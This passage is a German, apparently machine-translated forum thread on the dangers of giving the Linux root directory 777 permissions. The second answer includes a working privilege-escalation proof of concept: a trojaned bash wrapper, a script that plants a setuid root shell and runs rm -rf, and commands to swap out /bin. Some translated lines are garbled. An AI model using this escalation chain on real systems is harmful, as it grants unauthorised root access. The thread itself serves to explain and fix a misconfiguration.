
Der Großteil des Inhalts ist jedoch 755.
Ist das ein Problem?
Antwort1
Interessant ist, dass /
tatsächlich 777
Berechtigungen darauf gesetzt werden können. Der /
Ordner sollte keine 777
Berechtigungen haben, da dies bedeutet, dass jeder im System angemeldete Benutzer Dateien und Ordner auf Stammebene erstellen kann /
. Ich habe dies in einer VM getestet und SieKANN NICHTLöschen Sie alle Ordner oder Dateien, die nicht 777
ohne sind sudo
, root
oder die owner
. Die Zugriffsberechtigungen werden weiterhin befolgt, z. B. /root
würde Ihnen der Versuch, auf den Ordner selbst zuzugreifen, die Berechtigung verweigert. Allerdings könnten Sie den /root
Ordner trotzdem verschieben, ohne /root.old
viel Aufhebens zu verursachen.
Um dies zu beheben, können Sie ausführen, sudo chmod 755 /
um die Berechtigungen auf den gewünschten Wert zu ändern. Sie können auch ausführen, sudo chown root:root /
um sicherzustellen, dass es root selbst gehört. Führen Sie keinen dieser Befehle mit -R aus, da dadurch die Berechtigungen und Eigentümer aller Dateien und Ordner in der Partition geändert werden.
Hoffe das hilft!
Antwort2
/
sollte nicht allgemein beschreibbar sein
/
allgemein beschreibbar zu sein, kann eineriesigProblem. Mit Schreibberechtigung für /
kann jeder Benutzer jede Datei oder jedes Verzeichnis in verschieben/umbenennen . Das bedeutet, dass jeder Benutzer oder jedes andere Verzeichnis in durch Verzeichnisse seiner Wahl /
ersetzen kann ./etc
/usr
/
Denial of Service: Trivial
Jeder Benutzer kann durch Umbenennen /etc
und problemlos einen DoS-Angriff auf Ihr System durchführen /usr
.
Rechteerweiterung: Etwas weniger trivial
Es ist etwas schwieriger, eine Rechteausweitung durchzuführen. Ein Benutzer kann /bin
durch seine eigene Kopie ersetzen und jeder Prozess, der dann versucht, zu verwenden cp
, oder sogareine Shell starten, sind ihnen sofort ausgeliefert. Der Benutzer muss lediglich warten, bis ein als Root ausgeführter Prozess einen beliebigen Befehl in verwendet /bin
oder der Root-Benutzer sich anmeldet, und schon ist er drin.
Beispiel
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
Und dann:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
Und wenn Root das nächste Mal eine Shell startet, erhalten Sie eine ausführbare Setuid-Datei in Ihrem Home-Verzeichnis, die Sie dann bequem verwenden können, um sich Root-Rechte zu verschaffen, wann immer Sie möchten, ohne viele Spuren zu hinterlassen.
Antwort3
Nein. Es ist nicht sicher, dass /
(das Stammverzeichnis) 777
Berechtigungen hat. Das bedeutet rwxrwxrwx
, dass jeder Benutzer Schreibberechtigung für das Stammverzeichnis hat.
Mit dieser Berechtigung kann jeder Benutzer neue Unterverzeichnisse erstellen, vorhandene Unterverzeichnisse löschen und vorhandene Unterverzeichnisse ersetzen. Ein böswilliger Benutzer könnte beispielsweise das Verzeichnis löschen /bin
(durch Umbenennen in /bin.old
) und ein neues erstellen /bin
, das ihm gehört und böswillige ausführbare Dateien enthält. Oder der Benutzer könnte das Verzeichnis löschen /etc
(durch Umbenennen in /etc.old
) und ein neues erstellen, /etc
das eine neue /etc/passwd
und /etc/shadow
-Datei enthält, mit der sich der Benutzer bei jedem Konto im System anmelden kann.